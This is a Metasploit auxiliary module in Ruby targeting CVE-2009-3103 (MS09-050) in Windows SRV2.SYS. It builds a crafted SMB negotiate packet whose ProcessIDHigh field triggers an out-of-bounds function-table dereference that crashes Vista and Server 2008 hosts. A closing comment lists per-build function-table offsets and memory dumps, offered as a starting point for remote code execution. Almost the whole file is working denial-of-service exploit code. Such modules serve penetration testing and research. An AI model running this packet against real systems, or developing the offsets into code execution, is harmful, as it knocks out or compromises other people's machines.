##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Tcp
	include Msf::Auxiliary::Dos

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference',
			'Description'    => %q{
				This module exploits an out of bounds function table dereference in the SMB
			request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7
			release candidates (not RTM), and Windows 2008 Server prior to R2.  Windows	Vista
			without SP1 does not seem affected by this flaw.
			},

			'Author'         => [ 'Laurent Gaffie <laurent.gaffie[at]gmail.com>', 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References' =>
				[
					['CVE', '2009-3103'],
					['BID', '36299'],
					['OSVDB', '57799'],
					['MSB', 'MS09-050'],
					['URL', 'http://seclists.org/fulldisclosure/2009/Sep/0039.html'],
					['URL', 'http://www.microsoft.com/technet/security/advisory/975497.mspx']
				]
		))
		register_options([
			Opt::RPORT(445),
			OptInt.new('OFFSET', [true, 'The function table offset to call', 0xffff])
		], self.class)

	end


	def run
		connect()

		# The SMB 2 dialect must be there
		dialects = ['PC NETWORK PROGRAM 1.0', 'LANMAN1.0', 'Windows for Workgroups 3.1a', 'LM1.2X002', 'LANMAN2.1', 'NT LM 0.12', 'SMB 2.002']
		data     = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('')

		pkt = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct
		pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE
		pkt['Payload']['SMB'].v['Flags1'] = 0x18
		pkt['Payload']['SMB'].v['Flags2'] = 0xc853
		pkt['Payload'].v['Payload']       = data

		pkt['Payload']['SMB'].v['ProcessIDHigh'] = datastore['OFFSET'].to_i
		pkt['Payload']['SMB'].v['ProcessID']     = 0
		pkt['Payload']['SMB'].v['MultiplexID']   = rand(0x10000)

		print_status("Sending request and waiting for a reply...")
		sock.put(pkt.to_s)
		r = sock.get_once

		if(not r)
			print_status("The target system has likely crashed")
		else
			print_status("Response received: #{r.inspect}")
		end

		disconnect()
	end

end

=begin

	Gaining code execution means pointing the offset to something that
	eventually causes us to run arbitrary code. The offsets below are
	a starting point for turning this into remote code execution.

	Offsets on Vista SP1 x64:
	0x1B = "SMB 2.002"
	0x1D = L"SMB2Validate"
	0x1E = L"SMB2Execute"
	0x31 = move eax, 0x00000002 + ret  # causes a hang when reaced
	0x58 = WmiQueryTraceInformation
	0x59 = WmiTraceMessage
	0x66 = ExAllocatePoolWithTag
	0x67 = ExFreePool
	0x76 = ExAllocatePoolWithTag
	0x77 = ExFreePool
	0x86 = ExAllocatePoolWithTag
	0x87 = ExFreePoo
	0x96 = ExAllocatePoolWithTag
	0x97 = ExFreePoo
	0xa6 = ExAllocatePoolWithTag
	0xa7 = ExFreePoo
	0xb9 = BugCheckEx
	0xc7 = SrvBalanceCredits
	0xdf = SrvNetStatistics data
	0xe0 = SrvNetStatisticsLock
	0x010e = SrvSnapShotScaevengerThread
	0x011c = SrvSnapShotScavengerTimer
	0x012a = SrvScavengerThread
	0x0138 = SrvScavengerTimer
	0x0146 = SrvScavengeDurableHandles
	0x0157 = SrvScavengeDurableHandlesTimer
	0x0166 = SrvProcessOplockBreaks
	0x0179 = SrvProcessOplockBreakTimer
	0x0185 = L"XactSrv"
	0x01f8 = WppTraceCallback


	Offsets on Vista SP1 (no updates) x86:

	0x64 = mov esp, ebp; pop ebp, ret
	0xde = pool with tag

	0 -> 99b51d6e - 8bff558bec5153568b75088b46308b98
	1 -> 99b55967 - 8bff558bec51518b45088b48308b8958
	2 -> 99b53e19 - 8bff558bec568b75088b4e7083791444
	3 -> 99b55811 - 8bff558bec5151538b5d088b43708378
	4 -> 99b53d54 - 8bff558bec56578b7d088b4770837814
	5 -> 99b54d41 - 8bff558bec83ec145356578b7d088b47
	6 -> 99b54c81 - 8bff558bec518b4d088b816c01000053
	7 -> 99b66c44 - 8bff558bec518b4d088b816c01000053
	8 -> 99b655bf - 8bff558bec518b55088b427083781471
	9 -> 99b63ce4 - 8bff558bec518b4d088b816c01000053
	10 -> 99b5a221 - 8bff558bec518b4d088b816c01000053
	11 -> 99b62996 - 8bff558bec518b4d088b816c01000053
	12 -> 99b5fab5 - 8bff558bec518b4d088b816c01000053
	25 -> 819aca26 - 6a2468d0988981e8960beeff33d28955
	26 -> 8186c78b - 8bff558bec83e4f86a008d451c50ff75
	62 -> 80d40f20 - 0000000000eb45000000000000000000
	116 -> 819273b7 - 8bff558bec83e4f883ec3c538b5d088b
	117 -> 8192739f - 8bff558bec6a00ff7508e8df0a00005d
	166 -> 819273b7 - 8bff558bec83e4f883ec3c538b5d088b
	167 -> 8192739f - 8bff558bec6a00ff7508e8df0a00005d
	194 -> 99b6b74c - 8bff558bec83ec0c0fb64d088b451c53
	195 -> 99b683f0 - 943018c0c6fd3f49a3e8697224f83f6f
	206 -> 99b5eeb5 - 8bff558bec83ec1ca11094b69953568b
	217 -> 99b5eea0 - 6a0168809ab699ff151880b699c21000
	226 -> 99b5211d - 8bff558bec83ec145356578d45f450c6
	231 -> 8192fcd0 - 0000000014fd9281ffffffff04000000
	237 -> 99b52108 - 6a0168009bb699ff151880b699c21000
	382 -> 8b137500 - 000000009075138b0000000000000000
	491 -> 8599b680 - 894518e82ee2ffff3b45087341ff7520
	646 -> c000009a - 0000ffffffff80040000ffffffff8004
	734 -> 802015ff - ffde03f078f8ff7f7c02f8ff3ffe01fe
	760 -> 99b4ff28 - 8bff558bec6a00ff7514ff7510ff750c
	804 -> 830ffc7d - 0000001722268b3e012004020010c01c


=end
